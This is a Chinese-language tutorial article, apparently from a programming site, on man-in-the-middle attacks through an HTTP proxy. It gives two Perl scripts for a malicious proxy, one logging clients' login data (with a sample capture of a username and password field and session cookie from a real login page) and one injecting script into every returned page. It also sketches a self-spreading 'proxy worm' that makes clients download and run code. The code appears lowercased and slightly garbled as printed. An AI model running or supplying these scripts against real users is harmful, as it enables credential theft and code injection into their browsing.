搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程
上一篇:跳板的隐藏 >>

MITM攻击 In Proxy

前言:
  说起“中间人攻击(man-in-the-middle-attacks,简称:mitm攻击)”大家可能马上想起曾经风靡一时的smb会话劫持,dns 欺骗等技术,这些都是典型的mitm攻击手段。其实mitm攻击说它是一种手段,不如说它是一种攻击模式,它可以应用于各个领域,比如在现实中,a通过b 给c传话,那么b在传话给c的时候,可以夸大其词,也可以填油加醋后传给c,在这个过程中中间人b 无意中就来一次mitm攻击,其实“谣言”就是这么来的 j. 具体在网络安全方面,mitm攻击应用也很广泛,下面我就以http协议代理来介绍下代理里mitm攻击。

一 .原理
代理服务的一个典型模型:

     client   <<-data->   proxy server    <?data-> web server
                       middle man
上面可以看出:client 发出的请求 和 web server返回的数据都经过proxy server 转发,这个proxy server 就起到了一个middle man的作用,如果这个“中间人” 够黑,那么整个代理过程的数据 都可以由这个“中间人”控制。

二.攻击类型

截取敏感数据
代码注射
proxp worm
其他利用
  
三.实例说明
1.  截取敏感数据
首先我们编写一个“恶意的中间人” 代理程序:

以下是代码片段:
=============================codz start===============================
#!/usr/bin/perl 
#proxy mid-man-atk test script

use strict;
use uri;
use io::socket;

my $showopenedsockets=1;

my $server = io::socket::inet->new (
 localport => 8080,
 type   => sock_stream,
 reuse   => 1,
 listen  => 10);


binmode $server;

while (my $browser = $server->accept()) {
print "\n\n--------------clint提交数据-------------------\n";

binmode $browser;

my $method       ="";
my $content_length   = 0;
my $content       = 0;
my $accu_content_length = 0;
my $host;
my $hostaddr;
my $httpver;

while (my $browser_line = <$browser>) {
  unless ($method) {
   ($method, $hostaddr, $httpver) = $browser_line =~ /^(\w+) +(\s+) +(\s+)/;

   my $uri = uri->new($hostaddr);

   $host = io::socket::inet->new (
    peeraddr=> $uri->host,
    peerport=> $uri->port );

    die "couldn’t open $hostaddr" unless $host;

   if ($showopenedsockets) {
    print "opened ".$uri->host." , port ".$uri->port."\n";
   }

   binmode $host;

   print $host "$method ".$uri->path_query." $httpver\n";
   print "$method ".$uri->path_query." $httpver\n";
   next;
  }

  $content_length = $1 if   $browser_line=~/content-length: +(\d+)/i;
  $accu_content_length+=length $browser_line;
  print $browser_line;
  print $host $browser_line;
  last if $browser_line =~ /^\s*$/ and $method ne ’post’;
  if ($browser_line =~ /^\s*$/ and $method eq "post") {
   $content = 1;
   last unless $content_length;
   next;
  }
  if ($content) {
   $accu_content_length+=length $browser_line;
   last if $accu_content_length >= $content_length;
  }
}
print "\n\n................serve返回数据.................xx\n";
 
$content_length   = 0;
$content       = 0;
$accu_content_length = 0;

my @ret= <$host>;

foreach my $host_line (@ret){
  print $host_line;
  print $browser $host_line;
  $content_length = $1 if $host_line=~/content-length: +(\d+)/i;
  if ($host_line =~ m/^\s*$/ and not $content) {
   $content = 1;
   #last unless $content_length;
   next;
  }
  if ($content) {
   if ($content_length) {
    $accu_content_length+=length $host_line;
    print "\ncontent length: $content_length, accu: $accu_content_length\n";
    last if $accu_content_length >= $content_length;
   }
  }
}
$browser-> close;
$host  -> close;
} 

=============================codz end===============================
 
运行此脚本把结果保存到test.log:
c:\usr\bin>perl proxytest1.pl >>test.log

然后clinet使用次代理访问http://reg.163.com/checkuser.jsp 登陆

打开test.log得到如下数据:

--------------clint提交数据-------------------
opened reg.163.com , port 80
post /checkuser.jsp http/1.0
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
referer: http://reg.163.com/checkuser.jsp
…….省略…….
cookie: ursjessionid=b370cqyldya7
…….省略…….
url=&username=hack-520&password=*****&submit=%b5%c7%a1%a1%c2%bc

................serve返回数据.................xx
http/1.1 200 ok


如下图所示:

成功得到
username=hack-520
password=*****

2.代码注射
在使用代理的整个过程里,最终是通过代理服务器把数据发给clinet,这个数据是我们可以控制的,我们可以注射我们的恶意代码提交给clinet,修改上面的perl程如下:

以下是代码片段:
=============================codz start===============================
#!/usr/bin/perl 
#proxy mid-man-atk test script

use strict;
use uri;
use io::socket;

my $showopenedsockets=1;

my $server = io::socket::inet->new (
 localport => 8080,
 type   => sock_stream,
 reuse   => 1,
 listen  => 10);


binmode $server;

while (my $browser = $server->accept()) {
print "\n\n--------------------------------------------\n";

binmode $browser;

my $method       ="";
my $content_length   = 0;
my $content       = 0;
my $accu_content_length = 0;
my $host;
my $hostaddr;
my $httpver;

while (my $browser_line = <$browser>) {
  unless ($method) {
   ($method, $hostaddr, $httpver) = $browser_line =~ /^(\w+) +(\s+) +(\s+)/;

   my $uri = uri->new($hostaddr);

   $host = io::socket::inet->new (
    peeraddr=> $uri->host,
    peerport=> $uri->port );

    die "couldn’t open $hostaddr" unless $host;

   if ($showopenedsockets) {
    print "opened ".$uri->host." , port ".$uri->port."\n";
   }

   binmode $host;

   print $host "$method ".$uri->path_query." $httpver\n";
   print "$method ".$uri->path_query." $httpver\n";
   next;
  }

  $content_length = $1 if   $browser_line=~/content-length: +(\d+)/i;
  $accu_content_length+=length $browser_line;
  print $browser_line;
  print $host $browser_line;
  last if $browser_line =~ /^\s*$/ and $method ne ’post’;
  if ($browser_line =~ /^\s*$/ and $method eq "post") {
   $content = 1;
   last unless $content_length;
   next;
  }
  if ($content) {
   $accu_content_length+=length $browser_line;
   last if $accu_content_length >= $content_length;
  }
}
print "\n\nxx....................................xx\n";
 
$content_length   = 0;
$content       = 0;
$accu_content_length = 0;

my @ret= <$host>;
my $ret=@ret;
push(@ret,""); #〈=注意这里

foreach my $host_line (@ret){
  print $host_line;
  print $browser $host_line;
  $content_length = $1 if $host_line=~/content-length: +(\d+)/i;
  if ($host_line =~ m/^\s*$/ and not $content) {
   $content = 1;
   #last unless $content_length;
   next;
  }
  if ($content) {
   if ($content_length) {
    $accu_content_length+=length $host_line;
    print "\ncontent length: $content_length, accu: $accu_content_length\n";
    last if $accu_content_length >= $content_length;
   }
  }
}
$browser-> close;
$host  -> close;
}
=============================codz end===============================
代码:

my @ret= <$host>;
my $ret=@ret;
push(@ret," alert(\"superhei\") "); #〈=注意这里

这个在代理服务最终把webserver返回的数据<$host>里 注射了代码 alert("superhei") 。

运行上面的程序,当clinet用此代理服务器访问任意站时都回执行 alert("superhei")
如图2:

3.proxy worm的实现

如果上面的例子在配合其他的客户端攻击(如网页木马),那么就可以实现proxy worm了:


proxyworm--àclinet(proxyworm1)-àclinet1(proxyworm2)-à…..à

clinet1在使用了proxyworm代理后,proxyworm向clinet注射可以让clinet下载并运行自身的代码,clinet被攻击后成为了proxyworm1 ……..。

4.其他应用
技术都又它的双面性,我们和可以利用在安全方面:比如恶意代码过虑平台:webserve 返回的数据经过代理服务器时 经过过滤在 发送给 clinet
………

小结:
其实man-in-the-middle-attacks是个很大的课题,在很多方面都提到,
本文只是浅显的通过http协议代理介绍了下“代理中间人攻击技术”, 如果有兴趣的朋友可以研究下 其他协议“代理中间人攻击技术”。

()

相关文章:
© 2006   www.java-asp.net